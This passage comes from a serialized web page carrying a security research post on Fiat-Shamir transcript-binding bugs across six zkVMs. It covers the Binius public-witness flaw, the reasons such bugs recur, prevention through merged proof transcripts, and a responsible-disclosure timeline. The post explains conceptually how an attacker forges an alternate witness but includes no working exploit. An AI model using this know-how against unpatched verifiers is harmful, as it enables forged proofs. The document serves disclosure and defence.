Protocol",{"type":28,"value":121446}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":24,"props":121448,"children":121449},{},[121450],{"type":23,"tag":2532,"props":121451,"children":121452},{},[121453],{"type":28,"value":120871},{"type":23,"tag":24,"props":121455,"children":121456},{},[121457],{"type":28,"value":121458},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":87,"props":121460,"children":121462},{"code":121461,"language":127,"meta":7,"className":128,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[121463],{"type":23,"tag":92,"props":121464,"children":121465},{"__ignoreMap":7},[121466,121501,121526,121560,121568],{"type":23,"tag":134,"props":121467,"children":121468},{"class":136,"line":137},[121469,121473,121477,121481,121485,121489,121493,121497],{"type":23,"tag":134,"props":121470,"children":121471},{"style":151},[121472],{"type":28,"value":13158},{"type":23,"tag":134,"props":121474,"children":121475},{"style":151},[121476],{"type":28,"value":13163},{"type":23,"tag":134,"props":121478,"children":121479},{"style":264},[121480],{"type":28,"value":7625},{"type":23,"tag":134,"props":121482,"children":121483},{"style":179},[121484],{"type":28,"value":5262},{"type":23,"tag":134,"props":121486,"children":121487},{"style":597},[121488],{"type":28,"value":121337},{"type":23,"tag":134,"props":121490,"children":121491},{"style":179},[121492],{"type":28,"value":242},{"type":23,"tag":134,"props":121494,"children":121495},{"style":597},[121496],{"type":28,"value":115788},{"type":23,"tag":134,"props":121498,"children":121499},{"style":179},[121500],{"type":28,"value":6046},{"type":23,"tag":134,"props":121502,"children":121503},{"class":136,"line":147},[121504,121509,121513,121517,121522],{"type":23,"tag":134,"props":121505,"children":121506},{"style":162},[121507],{"type":28,"value":121508},"    constraint_system",{"type":23,"tag":134,"props":121510,"children":121511},{"style":168},[121512],{"type":28,"value":1697},{"type":23,"tag":134,"props":121514,"children":121515},{"style":168},[121516],{"type":28,"value":6599},{"type":23,"tag":134,"props":121518,"children":121519},{"style":597},[121520],{"type":28,"value":121521},"ConstraintSystem",{"type":23,"tag":134,"props":121523,"children":121524},{"style":179},[121525],{"type":28,"value":687},{"type":23,"tag":134,"props":121527,"children":121528},{"class":136,"line":185},[121529,121533,121537,121541,121545,121550,121555],{"type":23,"tag":134,"props":121530,"children":121531},{"style":162},[121532],{"type":28,"value":6980},{"type":23,"tag":134,"props":121534,"children":121535},{"style":168},[121536],{"type":28,"value":1697},{"type":23,"tag":134,"props":121538,"children":121539},{"style":168},[121540],{"type":28,"value":6599},{"type":23,"tag":134,"props":121542,"children":121543},{"style":179},[121544],{"type":28,"value":924},{"type":23,"tag":134,"props":121546,"children":121547},{"style":597},[121548],{"type":28,"value":121549},"Word",{"type":23,"tag":134,"props":121551,"children":121552},{"style":179},[121553],{"type":28,"value":121554},"],    ",{"type":23,"tag":134,"props":121556,"children":121557},{"style":141},[121558],{"type":28,"value":121559},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":134,"props":121561,"children":121562},{"class":136,"line":221},[121563],{"type":23,"tag":134,"props":121564,"children":121565},{"style":141},[121566],{"type":28,"value":121567},"    // ...\n",{"type":23,"tag":134,"props":121569,"children":121570},{"class":136,"line":332},[121571,121575,121579,121583,121587,121592,121596,121600,121604,121608],{"type":23,"tag":134,"props":121572,"children":121573},{"style":179},[121574],{"type":28,"value":252},{"type":23,"tag":134,"props":121576,"children":121577},{"style":168},[121578],{"type":28,"value":13225},{"type":23,"tag":134,"props":121580,"children":121581},{"style":597},[121582],{"type":28,"value":13230},{"type":23,"tag":134,"props":121584,"children":121585},{"style":179},[121586],{"type":28,"value":5262},{"type":23,"tag":134,"props":121588,"children":121589},{"style":597},[121590],{"type":28,"value":121591},"VerifyOutput",{"type":23,"tag":134,"props":121593,"children":121594},{"style":179},[121595],{"type":28,"value":5262},{"type":23,"tag":134,"props":121597,"children":121598},{"style":597},[121599],{"type":28,"value":121337},{"type":23,"tag":134,"props":121601,"children":121602},{"style":179},[121603],{"type":28,"value":6088},{"type":23,"tag":134,"props":121605,"children":121606},{"style":597},[121607],{"type":28,"value":36896},{"type":23,"tag":134,"props":121609,"children":121610},{"style":179},[121611],{"type":28,"value":5449},{"type":23,"tag":24,"props":121613,"children":121614},{},[121615,121617,121623,121624,121630,121632,121636],{"type":28,"value":121616},"In the shift protocol, challenges ",{"type":23,"tag":92,"props":121618,"children":121620},{"className":121619},[],[121621],{"type":28,"value":121622},"r_j",{"type":28,"value":10458},{"type":23,"tag":92,"props":121625,"children":121627},{"className":121626},[],[121628],{"type":28,"value":121629},"inout_eval_point",{"type":28,"value":121631}," are sampled ",{"type":23,"tag":2532,"props":121633,"children":121634},{},[121635],{"type":28,"value":104103},{"type":28,"value":121637}," the public witness is bound.",{"type":23,"tag":24,"props":121639,"children":121640},{},[121641],{"type":23,"tag":2532,"props":121642,"children":121643},{},[121644],{"type":28,"value":114991},{"type":23,"tag":24,"props":121646,"children":121647},{},[121648],{"type":23,"tag":1116,"props":121649,"children":121652},{"alt":121650,"src":121651},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":24,"props":121654,"children":121655},{},[121656],{"type":28,"value":121657},"During verification",{"type":23,"tag":4890,"props":121659,"children":121660},{},[121661,121681,121693,121712],{"type":23,"tag":4894,"props":121662,"children":121663},{},[121664,121666,121671,121673,121679],{"type":28,"value":121665},"Sumcheck produces challenge points ",{"type":23,"tag":92,"props":121667,"children":121669},{"className":121668},[],[121670],{"type":28,"value":121622},{"type":28,"value":121672}," (bit indices) and ",{"type":23,"tag":92,"props":121674,"children":121676},{"className":121675},[],[121677],{"type":28,"value":121678},"r_s",{"type":28,"value":121680}," (shift indices)",{"type":23,"tag":4894,"props":121682,"children":121683},{},[121684,121686,121691],{"type":28,"value":121685},"Verifier samples ",{"type":23,"tag":92,"props":121687,"children":121689},{"className":121688},[],[121690],{"type":28,"value":121629},{"type":28,"value":121692}," from transcript",{"type":23,"tag":4894,"props":121694,"children":121695},{},[121696,121698,121704,121706,121711],{"type":28,"value":121697},"Verifier computes ",{"type":23,"tag":92,"props":121699,"children":121701},{"className":121700},[],[121702],{"type":28,"value":121703},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":28,"value":121705}," using the unbound ",{"type":23,"tag":92,"props":121707,"children":121709},{"className":121708},[],[121710],{"type":28,"value":61183},{"type":28,"value":17607},{"type":23,"tag":4894,"props":121713,"children":121714},{},[121715,121716,121722],{"type":28,"value":16084},{"type":23,"tag":92,"props":121717,"children":121719},{"className":121718},[],[121720],{"type":28,"value":121721},"public_eval",{"type":28,"value":121723}," feeds into subsequent verification equations",{"type":23,"tag":24,"props":121725,"children":121726},{},[121727],{"type":28,"value":121728},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":24,"props":121730,"children":121731},{},[121732],{"type":23,"tag":92,"props":121733,"children":121735},{"className":121734},[1183,1184],[121736],{"type":23,"tag":134,"props":121737,"children":121739},{"className":121738},[1189],[121740],{"type":23,"tag":134,"props":121741,"children":121743},{"className":121742,"ariaHidden":1195},[1194],[121744,121788,121928,122040],{"type":23,"tag":134,"props":121745,"children":121747},{"className":121746},[1200],[121748,121752,121761,121766,121775,121779,121784],{"type":23,"tag":134,"props":121749,"children":121751},{"className":121750,"style":93972},[1205],[],{"type":23,"tag":134,"props":121753,"children":121755},{"className":121754},[1211,28],[121756],{"type":23,"tag":134,"props":121757,"children":121759},{"className":121758},[1211],[121760],{"type":28,"value":61183},{"type":23,"tag":134,"props":121762,"children":121764},{"className":121763,"style":92559},[1211],[121765],{"type":28,"value":247},{"type":23,"tag":134,"props":121767,"children":121769},{"className":121768},[1211,28],[121770],{"type":23,"tag":134,"props":121771,"children":121773},{"className":121772},[1211],[121774],{"type":28,"value":37046},{"type":23,"tag":134,"props":121776,"children":121778},{"className":121777,"style":1390},[1292],[],{"type":23,"tag":134,"props":121780,"children":121782},{"className":121781},[1395],[121783],{"type":28,"value":257},{"type":23,"tag":134,"props":121785,"children":121787},{"className":121786,"style":1390},[1292],[],{"type":23,"tag":134,"props":121789,"children":121791},{"className":121790},[1200],[121792,121796,121868,121872,121885,121890,121895,121900,121905,121910,121915,121919,121924],{"type":23,"tag":134,"props":121793,"children":121795},{"className":121794,"style":118321},[1205],[],{"type":23,"tag":134,"props":121797,"children":121799},{"className":121798},[21102],[121800,121805],{"type":23,"tag":134,"props":121801,"children":121803},{"className":121802,"style":21109},[21102,21107,21108],[121804],{"type":28,"value":108354},{"type":23,"tag":134,"props":121806,"children":121808},{"className":121807},[1228],[121809],{"type":23,"tag":134,"props":121810,"children":121812},{"className":121811},[1233,21120],[121813,121857],{"type":23,"tag":134,"props":121814,"children":121816},{"className":121815},[1238],[121817,121852],{"type":23,"tag":134,"props":121818,"children":121820},{"className":121819,"style":113231},[1243],[121821],{"type":23,"tag":134,"props":121822,"children":121823},{"style":21133},[121824,121828],{"type":23,"tag":134,"props":121825,"children":121827},{"className":121826,"style":1253},[1252],[],{"type":23,"tag":134,"props":121829,"children":121831},{"className":121830},[1258,1259,1260,1261],[121832],{"type":23,"tag":134,"props":121833,"children":121835},{"className":121834},[1211,1261],[121836,121842,121847],{"type":23,"tag":134,"props":121837,"children":121840},{"className":121838,"style":121839},[1211,21066,1261],"margin-right:0.02691em;",[121841],{"type":28,"value":49077},{"type":23,"tag":134,"props":121843,"children":121845},{"className":121844},[1324,1261],[121846],{"type":28,"value":1327},{"type":23,"tag":134,"props":121848,"children":121850},{"className":121849},[1211,21066,1261],[121851],{"type":28,"value":393},{"type":23,"tag":134,"props":121853,"children":121855},{"className":121854},[21223],[121856],{"type":28,"value":21226},{"type":23,"tag":134,"props":121858,"children":121860},{"className":121859},[1238],[121861],{"type":23,"tag":134,"props":121862,"children":121864},{"className":121863,"style":113797},[1243],[121865],{"type":23,"tag":134,"props":121866,"children":121867},{},[],{"type":23,"tag":134,"props":121869,"children":121871},{"className":121870,"style":1331},[1292],[],{"type":23,"tag":134,"props":121873,"children":121875},{"className":121874},[1211],[121876],{"type":23,"tag":134,"props":121877,"children":121879},{"className":121878},[1211,28],[121880],{"type":23,"tag":134,"props":121881,"children":121883},{"className":121882},[1211],[121884],{"type":28,"value":61183},{"type":23,"tag":134,"props":121886,"children":121888},{"className":121887},[21195],[121889],{"type":28,"value":924},{"type":23,"tag":134,"props":121891,"children":121893},{"className":121892,"style":121839},[1211,21066],[121894],{"type":28,"value":49077},{"type":23,"tag":134,"props":121896,"children":121898},{"className":121897},[21217],[121899],{"type":28,"value":14880},{"type":23,"tag":134,"props":121901,"children":121903},{"className":121902},[21195],[121904],{"type":28,"value":924},{"type":23,"tag":134,"props":121906,"children":121908},{"className":121907},[1211,21066],[121909],{"type":28,"value":393},{"type":23,"tag":134,"props":121911,"children":121913},{"className":121912},[21217],[121914],{"type":28,"value":14880},{"type":23,"tag":134,"props":121916,"children":121918},{"className":121917,"style":1293},[1292],[],{"type":23,"tag":134,"props":121920,"children":121922},{"className":121921},[1298],[121923],{"type":28,"value":110821},{"type":23,"tag":134,"props":121925,"children":121927},{"className":121926,"style":1293},[1292],[],{"type":23,"tag":134,"props":121929,"children":121931},{"className":121930},[1200],[121932,121937,121946,121951,121956,121961,121965,122022,122027,122031,122036],{"type":23,"tag":134,"props":121933,"children":121936},{"className":121934,"style":121935},[1205],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":134,"props":121938,"children":121940},{"className":121939},[1211,28],[121941],{"type":23,"tag":134,"props":121942,"children":121944},{"className":121943},[1211],[121945],{"type":28,"value":112148},{"type":23,"tag":134,"props":121947,"children":121949},{"className":121948},[21195],[121950],{"type":28,"value":272},{"type":23,"tag":134,"props":121952,"children":121954},{"className":121953},[1211,21066],[121955],{"type":28,"value":393},{"type":23,"tag":134,"props":121957,"children":121959},{"className":121958},[1324],[121960],{"type":28,"value":1327},{"type":23,"tag":134,"props":121962,"children":121964},{"className":121963,"style":1331},[1292],[],{"type":23,"tag":134,"props":121966,"children":121968},{"className":121967},[1211],[121969,121974],{"type":23,"tag":134,"props":121970,"children":121972},{"className":121971,"style":92559},[1211,21066],[121973],{"type":28,"value":93378},{"type":23,"tag":134,"props":121975,"children":121977},{"className":121976},[1228],[121978],{"type":23,"tag":134,"props":121979,"children":121981},{"className":121980},[1233,21120],[121982,122011],{"type":23,"tag":134,"props":121983,"children":121985},{"className":121984},[1238],[121986,122006],{"type":23,"tag":134,"props":121987,"children":121989},{"className":121988,"style":93088},[1243],[121990],{"type":23,"tag":134,"props":121991,"children":121992},{"style":109558},[121993,121997],{"type":23,"tag":134,"props":121994,"children":121996},{"className":121995,"style":1253},[1252],[],{"type":23,"tag":134,"props":121998,"children":122000},{"className":121999},[1258,1259,1260,1261],[122001],{"type":23,"tag":134,"props":122002,"children":122004},{"className":122003,"style":113782},[1211,21066,1261],[122005],{"type":28,"value":8116},{"type":23,"tag":134,"props":122007,"children":122009},{"className":122008},[21223],[122010],{"type":28,"value":21226},{"type":23,"tag":134,"props":122012,"children":122014},{"className":122013},[1238],[122015],{"type":23,"tag":134,"props":122016,"children":122018},{"className":122017,"style":118469},[1243],[122019],{"type":23,"tag":134,"props":122020,"children":122021},{},[],{"type":23,"tag":134,"props":122023,"children":122025},{"className":122024},[21217],[122026],{"type":28,"value":296},{"type":23,"tag":134,"props":122028,"children":122030},{"className":122029,"style":1293},[1292],[],{"type":23,"tag":134,"props":122032,"children":122034},{"className":122033},[1298],[122035],{"type":28,"value":110821},{"type":23,"tag":134,"props":122037,"children":122039},{"className":122038,"style":1293},[1292],[],{"type":23,"tag":134,"props":122041,"children":122043},{"className":122042},[1200],[122044,122048,122057,122062,122067,122072,122076,122086,122091,122100,122105,122114],{"type":23,"tag":134,"props":122045,"children":122047},{"className":122046,"style":92501},[1205],[],{"type":23,"tag":134,"props":122049,"children":122051},{"className":122050},[1211,28],[122052],{"type":23,"tag":134,"props":122053,"children":122055},{"className":122054},[1211],[122056],{"type":28,"value":112148},{"type":23,"tag":134,"props":122058,"children":122060},{"className":122059},[21195],[122061],{"type":28,"value":272},{"type":23,"tag":134,"props":122063,"children":122065},{"className":122064,"style":121839},[1211,21066],[122066],{"type":28,"value":49077},{"type":23,"tag":134,"props":122068,"children":122070},{"className":122069},[1324],[122071],{"type":28,"value":1327},{"type":23,"tag":134,"props":122073,"children":122075},{"className":122074,"style":1331},[1292],[],{"type":23,"tag":134,"props":122077,"children":122079},{"className":122078},[1211,28],[122080],{"type":23,"tag":134,"props":122081,"children":122083},{"className":122082},[1211],[122084],{"type":28,"value":122085},"inout",{"type":23,"tag":134,"props":122087,"children":122089},{"className":122088,"style":92559},[1211],[122090],{"type":28,"value":247},{"type":23,"tag":134,"props":122092,"children":122094},{"className":122093},[1211,28],[122095],{"type":23,"tag":134,"props":122096,"children":122098},{"className":122097},[1211],[122099],{"type":28,"value":37046},{"type":23,"tag":134,"props":122101,"children":122103},{"className":122102,"style":92559},[1211],[122104],{"type":28,"value":247},{"type":23,"tag":134,"props":122106,"children":122108},{"className":122107},[1211,28],[122109],{"type":23,"tag":134,"props":122110,"children":122112},{"className":122111},[1211],[122113],{"type":28,"value":117344},{"type":23,"tag":134,"props":122115,"children":122117},{"className":122116},[21217],[122118],{"type":28,"value":296},{"type":23,"tag":24,"props":122120,"children":122121},{},[122122,122124,122129,122131,122204],{"type":28,"value":122123},"With challenges fixed (independent of ",{"type":23,"tag":92,"props":122125,"children":122127},{"className":122126},[],[122128],{"type":28,"value":61183},{"type":28,"value":122130},"), an attacker can find an alternate witness ",{"type":23,"tag":92,"props":122132,"children":122134},{"className":122133},[1183,1184],[122135],{"type":23,"tag":134,"props":122136,"children":122138},{"className":122137},[1189],[122139],{"type":23,"tag":134,"props":122140,"children":122142},{"className":122141,"ariaHidden":1195},[1194],[122143],{"type":23,"tag":134,"props":122144,"children":122146},{"className":122145},[1200],[122147,122152],{"type":23,"tag":134,"props":122148,"children":122151},{"className":122149,"style":122150},[1205],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":134,"props":122153,"children":122155},{"className":122154},[1211],[122156,122165],{"type":23,"tag":134,"props":122157,"children":122159},{"className":122158},[1211,28],[122160],{"type":23,"tag":134,"props":122161,"children":122163},{"className":122162},[1211],[122164],{"type":28,"value":61183},{"type":23,"tag":134,"props":122166,"children":122168},{"className":122167},[1228],[122169],{"type":23,"tag":134,"props":122170,"children":122172},{"className":122171},[1233],[122173],{"type":23,"tag":134,"props":122174,"children":122176},{"className":122175},[1238],[122177],{"type":23,"tag":134,"props":122178,"children":122181},{"className":122179,"style":122180},[1243],"height:0.8362em;",[122182],{"type":23,"tag":134,"props":122183,"children":122185},{"style":122184},"top:-3.1473em;margin-right:0.05em;",[122186,122190],{"type":23,"tag":134,"props":122187,"children":122189},{"className":122188,"style":1253},[1252],[],{"type":23,"tag":134,"props":122191,"children":122193},{"className":122192},[1258,1259,1260,1261],[122194],{"type":23,"tag":134,"props":122195,"children":122197},{"className":122196},[1211,1261],[122198],{"type":23,"tag":134,"props":122199,"children":122201},{"className":122200},[1211,1261],[122202],{"type":28,"value":122203},"′",{"type":28,"value":122205}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":24,"props":122207,"children":122208},{},[122209,122213,122215],{"type":23,"tag":2532,"props":122210,"children":122211},{},[122212],{"type":28,"value":116269},{"type":28,"value":122214}," Fixed on December 29, 2025 via ",{"type":23,"tag":31,"props":122216,"children":122219},{"href":122217,"rel":122218},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[35],[122220],{"type":28,"value":122221},"commit 86a515f",{"type":23,"tag":18268,"props":122223,"children":122224},{},[],{"type":23,"tag":61,"props":122226,"children":122228},{"id":122227},"why-does-this-keep-happening",[122229],{"type":28,"value":122230},"Why Does This Keep Happening?",{"type":23,"tag":24,"props":122232,"children":122233},{},[122234],{"type":28,"value":122235},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":9072,"props":122237,"children":122239},{"id":122238},"academic-papers-dont-specify-fiat-shamir",[122240],{"type":28,"value":122241},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":24,"props":122243,"children":122244},{},[122245,122247,122252,122254,122279,122281,122284,122286,122311,122313,122340],{"type":28,"value":122246},"Academic papers usually describe ",{"type":23,"tag":55,"props":122248,"children":122249},{},[122250],{"type":28,"value":122251},"interactive",{"type":28,"value":122253}," protocols: \"Prover sends ",{"type":23,"tag":92,"props":122255,"children":122257},{"className":122256},[1183,1184],[122258],{"type":23,"tag":134,"props":122259,"children":122261},{"className":122260},[1189],[122262],{"type":23,"tag":134,"props":122263,"children":122265},{"className":122264,"ariaHidden":1195},[1194],[122266],{"type":23,"tag":134,"props":122267,"children":122269},{"className":122268},[1200],[122270,122274],{"type":23,"tag":134,"props":122271,"children":122273},{"className":122272,"style":21061},[1205],[],{"type":23,"tag":134,"props":122275,"children":122277},{"className":122276,"style":21598},[1211,21066],[122278],{"type":28,"value":115788},{"type":28,"value":122280},". Verifier sends",{"type":23,"tag":30463,"props":122282,"children":122283},{},[],{"type":28,"value":122285},"random ",{"type":23,"tag":92,"props":122287,"children":122289},{"className":122288},[1183,1184],[122290],{"type":23,"tag":134,"props":122291,"children":122293},{"className":122292},[1189],[122294],{"type":23,"tag":134,"props":122295,"children":122297},{"className":122296,"ariaHidden":1195},[1194],[122298],{"type":23,"tag":134,"props":122299,"children":122301},{"className":122300},[1200],[122302,122306],{"type":23,"tag":134,"props":122303,"children":122305},{"className":122304,"style":110400},[1205],[],{"type":23,"tag":134,"props":122307,"children":122309},{"className":122308,"style":92559},[1211,21066],[122310],{"type":28,"value":93378},{"type":28,"value":122312},". Prover sends ",{"type":23,"tag":92,"props":122314,"children":122316},{"className":122315},[1183,1184],[122317],{"type":23,"tag":134,"props":122318,"children":122320},{"className":122319},[1189],[122321],{"type":23,"tag":134,"props":122322,"children":122324},{"className":122323,"ariaHidden":1195},[1194],[122325],{"type":23,"tag":134,"props":122326,"children":122328},{"className":122327},[1200],[122329,122333],{"type":23,"tag":134,"props":122330,"children":122332},{"className":122331,"style":21061},[1205],[],{"type":23,"tag":134,"props":122334,"children":122337},{"className":122335,"style":122336},[1211,21066],"margin-right:0.00773em;",[122338],{"type":28,"value":122339},"R",{"type":28,"value":122341},".\"",{"type":23,"tag":24,"props":122343,"children":122344},{},[122345,122347,122372,122374,122399],{"type":28,"value":122346},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":92,"props":122348,"children":122350},{"className":122349},[1183,1184],[122351],{"type":23,"tag":134,"props":122352,"children":122354},{"className":122353},[1189],[122355],{"type":23,"tag":134,"props":122356,"children":122358},{"className":122357,"ariaHidden":1195},[1194],[122359],{"type":23,"tag":134,"props":122360,"children":122362},{"className":122361},[1200],[122363,122367],{"type":23,"tag":134,"props":122364,"children":122366},{"className":122365,"style":21061},[1205],[],{"type":23,"tag":134,"props":122368,"children":122370},{"className":122369,"style":21598},[1211,21066],[122371],{"type":28,"value":115788},{"type":28,"value":122373}," before sampling ",{"type":23,"tag":92,"props":122375,"children":122377},{"className":122376},[1183,1184],[122378],{"type":23,"tag":134,"props":122379,"children":122381},{"className":122380},[1189],[122382],{"type":23,"tag":134,"props":122383,"children":122385},{"className":122384,"ariaHidden":1195},[1194],[122386],{"type":23,"tag":134,"props":122387,"children":122389},{"className":122388},[1200],[122390,122394],{"type":23,"tag":134,"props":122391,"children":122393},{"className":122392,"style":110400},[1205],[],{"type":23,"tag":134,"props":122395,"children":122397},{"className":122396,"style":92559},[1211,21066],[122398],{"type":28,"value":93378},{"type":28,"value":122400},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":24,"props":122402,"children":122403},{},[122404],{"type":28,"value":122405},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":9072,"props":122407,"children":122409},{"id":122408},"the-hot-potato-problem",[122410],{"type":28,"value":122411},"The Hot Potato Problem",{"type":23,"tag":24,"props":122413,"children":122414},{},[122415],{"type":28,"value":122416},"Modern zkVMs are modular:",{"type":23,"tag":24,"props":122418,"children":122419},{},[122420],{"type":23,"tag":1116,"props":122421,"children":122424},{"alt":122422,"src":122423},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":24,"props":122426,"children":122427},{},[122428],{"type":28,"value":122429},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":9072,"props":122431,"children":122433},{"id":122432},"optimization-pressure",[122434],{"type":28,"value":122435},"Optimization Pressure",{"type":23,"tag":24,"props":122437,"children":122438},{},[122439],{"type":28,"value":122440},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":24,"props":122442,"children":122443},{},[122444],{"type":28,"value":122445},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":9072,"props":122447,"children":122449},{"id":122448},"testing-doesnt-catch-adversarial-inputs",[122450],{"type":28,"value":122451},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":24,"props":122453,"children":122454},{},[122455],{"type":28,"value":122456},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":18268,"props":122458,"children":122459},{},[],{"type":23,"tag":61,"props":122461,"children":122463},{"id":122462},"how-to-find-and-fix-these-bugs",[122464],{"type":28,"value":122465},"How to Find and Fix These Bugs",{"type":23,"tag":9072,"props":122467,"children":122469},{"id":122468},"prevention",[122470],{"type":28,"value":122471},"Prevention",{"type":23,"tag":24,"props":122473,"children":122474},{},[122475],{"type":28,"value":122476},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":24,"props":122478,"children":122479},{},[122480],{"type":28,"value":122481},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":24,"props":122483,"children":122484},{},[122485],{"type":28,"value":122486},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":24,"props":122488,"children":122489},{},[122490],{"type":28,"value":122491},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":24,"props":122493,"children":122494},{},[122495],{"type":28,"value":122496},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":18268,"props":122498,"children":122499},{},[],{"type":23,"tag":61,"props":122501,"children":122503},{"id":122502},"responsible-disclosure-timeline",[122504],{"type":28,"value":122505},"Responsible Disclosure Timeline",{"type":23,"tag":55251,"props":122507,"children":122508},{},[122509,122537],{"type":23,"tag":122510,"props":122511,"children":122512},"thead",{},[122513],{"type":23,"tag":122514,"props":122515,"children":122516},"tr",{},[122517,122522,122527,122532],{"type":23,"tag":122518,"props":122519,"children":122520},"th",{},[122521],{"type":28,"value":22687},{"type":23,"tag":122518,"props":122523,"children":122524},{},[122525],{"type":28,"value":122526},"Reported",{"type":23,"tag":122518,"props":122528,"children":122529},{},[122530],{"type":28,"value":122531},"Fixed",{"type":23,"tag":122518,"props":122533,"children":122534},{},[122535],{"type":28,"value":122536},"Response Time",{"type":23,"tag":122538,"props":122539,"children":122540},"tbody",{},[122541,122564,122585,122605,122627,122648],{"type":23,"tag":122514,"props":122542,"children":122543},{},[122544,122549,122554,122559],{"type":23,"tag":122545,"props":122546,"children":122547},"td",{},[122548],{"type":28,"value":107372},{"type":23,"tag":122545,"props":122550,"children":122551},{},[122552],{"type":28,"value":122553},"Sep 2025",{"type":23,"tag":122545,"props":122555,"children":122556},{},[122557],{"type":28,"value":122558},"Oct 3, 2025",{"type":23,"tag":122545,"props":122560,"children":122561},{},[122562],{"type":28,"value":122563},"\u003C1 week",{"type":23,"tag":122514,"props":122565,"children":122566},{},[122567,122571,122576,122581],{"type":23,"tag":122545,"props":122568,"children":122569},{},[122570],{"type":28,"value":107378},{"type":23,"tag":122545,"props":122572,"children":122573},{},[122574],{"type":28,"value":122575},"Oct 2025",{"type":23,"tag":122545,"props":122577,"children":122578},{},[122579],{"type":28,"value":122580},"Oct 24, 2025",{"type":23,"tag":122545,"props":122582,"children":122583},{},[122584],{"type":28,"value":122563},{"type":23,"tag":122514,"props":122586,"children":122587},{},[122588,122592,122596,122601],{"type":23,"tag":122545,"props":122589,"children":122590},{},[122591],{"type":28,"value":107384},{"type":23,"tag":122545,"props":122593,"children":122594},{},[122595],{"type":28,"value":122575},{"type":23,"tag":122545,"props":122597,"children":122598},{},[122599],{"type":28,"value":122600},"Oct 31, 2025",{"type":23,"tag":122545,"props":122602,"children":122603},{},[122604],{"type":28,"value":122563},{"type":23,"tag":122514,"props":122606,"children":122607},{},[122608,122612,122617,122622],{"type":23,"tag":122545,"props":122609,"children":122610},{},[122611],{"type":28,"value":107390},{"type":23,"tag":122545,"props":122613,"children":122614},{},[122615],{"type":28,"value":122616},"Nov 2025",{"type":23,"tag":122545,"props":122618,"children":122619},{},[122620],{"type":28,"value":122621},"Mar 5, 2026",{"type":23,"tag":122545,"props":122623,"children":122624},{},[122625],{"type":28,"value":122626},"~4 months",{"type":23,"tag":122514,"props":122628,"children":122629},{},[122630,122634,122639,122644],{"type":23,"tag":122545,"props":122631,"children":122632},{},[122633],{"type":28,"value":107402},{"type":23,"tag":122545,"props":122635,"children":122636},{},[122637],{"type":28,"value":122638},"Dec 2025",{"type":23,"tag":122545,"props":122640,"children":122641},{},[122642],{"type":28,"value":122643},"Dec 29, 2025",{"type":23,"tag":122545,"props":122645,"children":122646},{},[122647],{"type":28,"value":122563},{"type":23,"tag":122514,"props":122649,"children":122650},{},[122651,122655,122659,122664],{"type":23,"tag":122545,"props":122652,"children":122653},{},[122654],{"type":28,"value":107396},{"type":23,"tag":122545,"props":122656,"children":122657},{},[122658],{"type":28,"value":122616},{"type":23,"tag":122545,"props":122660,"children":122661},{},[122662],{"type":28,"value":122663},"Jan 21, 2026?",{"type":23,"tag":122545,"props":122665,"children":122666},{},[122667],{"type":28,"value":122668},"3 months",{"type":23,"tag":24,"props":122670,"children":122671},{},[122672],{"type":28,"value":122673},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":18268,"props":122675,"children":122676},{},[],{"type":23,"tag":61,"props":122678,"children":122680},{"id":122679},"challenges",[122681],{"type":28,"value":107415},{"type":23,"tag":24,"props":122683,"children":122684},{},[122685,122687],{"type":28,"value":122686},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":122688,"props":122689,"children":122690},"del",{},[122691],{"type":28,"value":122692},"the first 10 solvers will get a 